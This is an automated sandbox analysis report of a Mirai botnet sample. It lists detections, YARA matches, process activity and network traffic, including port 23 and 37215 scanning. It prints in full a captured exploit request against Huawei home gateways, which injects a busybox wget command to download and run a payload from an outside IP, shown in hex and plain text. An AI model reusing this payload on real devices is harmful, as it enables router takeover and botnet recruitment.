Edit tour

Linux Analysis Report
peV4n8UypQ.elf

Overview

General Information

Sample Name:	peV4n8UypQ.elf
Original Sample Name:	ad593eba8de68c84a2e4508a9266aab7.elf
Analysis ID:	847158
MD5:	ad593eba8de68c84a2e4508a9266aab7
SHA1:	5a71f67984f194f9a6e103a6042d2d51c9b1df0d
SHA256:	07d6c241fe133480b10fd4e56681f22e4b938934833d7a2ed5bea7f6e6d196a6
Tags:	32armelfmirai
Infos:

Detection

Mirai

Score:	80
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Yara detected Mirai

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Sample deletes itself

Uses known network protocols on non-standard ports

Yara signature match

Uses the "uname" system call to query kernel version information (possible evasion)

Enumerates processes within the "proc" file system

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Detected TCP or UDP traffic on non-standard ports

Sample listens on a socket

Sample has stripped symbol table

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

All HTTP servers contacted by the sample do not answer. The sample is likely an old dropper which does no longer work.

Static ELF header machine description suggests that the sample might only run correctly on MIPS or ARM architectures.

General Information

Joe Sandbox Version:	37.0.0 Beryl
Analysis ID:	847158
Start date and time:	2023-04-15 03:26:24 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample file name:	peV4n8UypQ.elf
Original Sample Name:	ad593eba8de68c84a2e4508a9266aab7.elf
Detection:	MAL
Classification:	mal80.troj.evad.linELF@0/436@1/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/peV4n8UypQ.elf
PID:	6232
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	gosh that chinese family at the other table sure ate a lot
Standard Error:

Process Tree

system is lnxubuntu20

peV4n8UypQ.elf (PID: 6232, Parent: 6128, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/peV4n8UypQ.elf

peV4n8UypQ.elf New Fork (PID: 6234, Parent: 6232)

peV4n8UypQ.elf New Fork (PID: 6236, Parent: 6234)

peV4n8UypQ.elf New Fork (PID: 6237, Parent: 6234)

peV4n8UypQ.elf New Fork (PID: 6240, Parent: 6234)

peV4n8UypQ.elf New Fork (PID: 6241, Parent: 6234)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
peV4n8UypQ.elf	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth (Nextron Systems)	0xd9b4:$x2: /bin/busybox chmod 777 * /tmp/ 0xda50:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Mirai_12	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
6232.1.00007f68c4017000.00007f68c4026000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth (Nextron Systems)	0xd9b4:$x2: /bin/busybox chmod 777 * /tmp/ 0xda50:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 461Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 35 2e 32 31 37 2e 31 34 34 2e 32 30 37 20 2d 6c 20 2f 74 6d 70 2f 66 75 78 69 20 2d 72 20 2f 76 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 66 75 78 69 3b 20 2f 74 6d 70 2f 66 75 78 69 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox /bin/busybox wget -g 85.217.144.207 -l /tmp/fuxi -r /v; /bin/busybox chmod 777 * /tmp/fuxi; /tmp/fuxi huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: peV4n8UypQ.elf	ReversingLabs: Detection: 59%
Source: peV4n8UypQ.elf	Virustotal: Detection: 54%			Perma Link

Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 38150
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 38158
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 38166
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 38176
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 38182
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 38192
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 38198
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 38216
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 38228
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 38236
Source: unknown	Network traffic detected: HTTP traffic on port 54246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 54246
Source: unknown	Network traffic detected: HTTP traffic on port 55494 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 55494
Source: unknown	Network traffic detected: HTTP traffic on port 39230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35382 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 35382
Source: unknown	Network traffic detected: HTTP traffic on port 39230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35504 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42730 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 50354
Source: unknown	Network traffic detected: HTTP traffic on port 42730 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42730 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42730 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42730 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42730 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42730 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 44368
Source: unknown	Network traffic detected: HTTP traffic on port 45842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39104 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 45842
Source: unknown	Network traffic detected: HTTP traffic on port 39104 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39104 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39104 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 51388
Source: unknown	Network traffic detected: HTTP traffic on port 39230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39104 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42730 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57136 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57136 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 57136
Source: unknown	Network traffic detected: HTTP traffic on port 39104 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45160 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 42110
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 45160
Source: unknown	Network traffic detected: HTTP traffic on port 44262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 44262
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 42124
Source: unknown	Network traffic detected: HTTP traffic on port 58498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 42218
Source: unknown	Network traffic detected: HTTP traffic on port 42158 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60488 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 42298
Source: unknown	Network traffic detected: HTTP traffic on port 55876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 42354
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 42374
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 42386
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 42396
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 42408
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 42432
Source: unknown	Network traffic detected: HTTP traffic on port 39104 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57058 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 57058
Source: unknown	Network traffic detected: HTTP traffic on port 51142 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 51142
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 39328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42730 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 39840
Source: unknown	Network traffic detected: HTTP traffic on port 38066 -> 37215

Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443

Source: unknown	TCP traffic detected without corresponding DNS query: 4.138.170.21
Source: unknown	TCP traffic detected without corresponding DNS query: 199.168.183.186
Source: unknown	TCP traffic detected without corresponding DNS query: 197.4.5.232
Source: unknown	TCP traffic detected without corresponding DNS query: 211.188.89.53
Source: unknown	TCP traffic detected without corresponding DNS query: 39.101.86.124
Source: unknown	TCP traffic detected without corresponding DNS query: 198.149.254.129
Source: unknown	TCP traffic detected without corresponding DNS query: 209.170.49.137
Source: unknown	TCP traffic detected without corresponding DNS query: 39.106.135.211
Source: unknown	TCP traffic detected without corresponding DNS query: 46.223.233.207
Source: unknown	TCP traffic detected without corresponding DNS query: 23.64.236.23
Source: unknown	TCP traffic detected without corresponding DNS query: 108.82.17.36
Source: unknown	TCP traffic detected without corresponding DNS query: 62.36.2.133
Source: unknown	TCP traffic detected without corresponding DNS query: 44.249.127.58
Source: unknown	TCP traffic detected without corresponding DNS query: 116.64.236.17
Source: unknown	TCP traffic detected without corresponding DNS query: 208.149.243.15
Source: unknown	TCP traffic detected without corresponding DNS query: 188.42.125.56
Source: unknown	TCP traffic detected without corresponding DNS query: 82.142.127.11
Source: unknown	TCP traffic detected without corresponding DNS query: 89.136.143.252
Source: unknown	TCP traffic detected without corresponding DNS query: 32.200.247.135
Source: unknown	TCP traffic detected without corresponding DNS query: 157.125.152.211
Source: unknown	TCP traffic detected without corresponding DNS query: 93.0.212.244
Source: unknown	TCP traffic detected without corresponding DNS query: 146.171.4.182
Source: unknown	TCP traffic detected without corresponding DNS query: 204.62.185.90
Source: unknown	TCP traffic detected without corresponding DNS query: 91.53.68.109
Source: unknown	TCP traffic detected without corresponding DNS query: 90.249.120.40
Source: unknown	TCP traffic detected without corresponding DNS query: 166.39.93.124
Source: unknown	TCP traffic detected without corresponding DNS query: 74.145.28.236
Source: unknown	TCP traffic detected without corresponding DNS query: 74.95.186.90
Source: unknown	TCP traffic detected without corresponding DNS query: 43.189.89.114
Source: unknown	TCP traffic detected without corresponding DNS query: 138.187.133.0
Source: unknown	TCP traffic detected without corresponding DNS query: 84.93.143.202
Source: unknown	TCP traffic detected without corresponding DNS query: 94.56.116.216
Source: unknown	TCP traffic detected without corresponding DNS query: 160.163.43.8
Source: unknown	TCP traffic detected without corresponding DNS query: 40.55.23.20
Source: unknown	TCP traffic detected without corresponding DNS query: 81.103.189.143
Source: unknown	TCP traffic detected without corresponding DNS query: 75.200.87.84
Source: unknown	TCP traffic detected without corresponding DNS query: 53.135.170.180
Source: unknown	TCP traffic detected without corresponding DNS query: 71.87.95.22
Source: unknown	TCP traffic detected without corresponding DNS query: 170.123.25.103
Source: unknown	TCP traffic detected without corresponding DNS query: 126.198.193.154
Source: unknown	TCP traffic detected without corresponding DNS query: 1.234.148.142
Source: unknown	TCP traffic detected without corresponding DNS query: 183.76.21.44
Source: unknown	TCP traffic detected without corresponding DNS query: 48.49.193.134
Source: unknown	TCP traffic detected without corresponding DNS query: 39.224.89.13
Source: unknown	TCP traffic detected without corresponding DNS query: 107.135.177.41
Source: unknown	TCP traffic detected without corresponding DNS query: 148.199.166.114
Source: unknown	TCP traffic detected without corresponding DNS query: 24.178.165.165
Source: unknown	TCP traffic detected without corresponding DNS query: 43.109.126.228
Source: unknown	TCP traffic detected without corresponding DNS query: 208.236.182.200
Source: unknown	TCP traffic detected without corresponding DNS query: 91.175.104.177

Source: peV4n8UypQ.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: peV4n8UypQ.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: peV4n8UypQ.elf, type: SAMPLE	Matched rule: Detects ELF Mirai variant Author: Florian Roth (Nextron Systems)
Source: 6232.1.00007f68c4017000.00007f68c4026000.r-x.sdmp, type: MEMORY	Matched rule: Detects ELF Mirai variant Author: Florian Roth (Nextron Systems)

Source: peV4n8UypQ.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth (Nextron Systems), description = Detects ELF Mirai variant, reference = Internal Research, modified = 2023-01-27
Source: 6232.1.00007f68c4017000.00007f68c4026000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth (Nextron Systems), description = Detects ELF Mirai variant, reference = Internal Research, modified = 2023-01-27

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox /bin/busybox wget -g 85.217.144.207 -l /tmp/fuxi -r /v; /bin/busybox chmod 777 * /tmp/fuxi; /tmp/fuxi huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox /bin/busybox wget -g 85.217.144.207 -l /tmp/fuxi -r /v; /bin/busybox chmod 777 * /tmp/fuxi; /tmp/fuxi huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1

Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/1582/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/1582/cmdline	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/3088/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/3088/cmdline	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/230/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/230/cmdline	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/110/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/231/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/111/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/232/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/232/cmdline	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/1579/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/1579/cmdline	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/112/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/233/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/1699/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/1699/cmdline	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/113/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/234/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/1335/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/1335/cmdline	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/1698/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/1698/cmdline	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/114/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/235/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/1334/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/1334/cmdline	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/1576/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/1576/cmdline	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/2302/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/2302/cmdline	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/115/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/236/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/236/cmdline	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/116/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/237/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/237/cmdline	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/117/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/118/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/910/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/910/cmdline	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/119/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/912/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/912/cmdline	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/10/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/2307/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/2307/cmdline	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/11/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/918/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/918/cmdline	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/6241/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/6241/cmdline	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/12/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/6240/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/6240/cmdline	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/13/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/14/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/15/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/16/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/17/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/18/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/1594/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/1594/cmdline	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/120/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/121/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/1349/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/1349/cmdline	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/1/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/122/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/243/maps	Jump to behavior
Source: /tmp/peV4n8UypQ.elf (PID: 6236)	File opened: /proc/243/cmdline	Jump to behavior
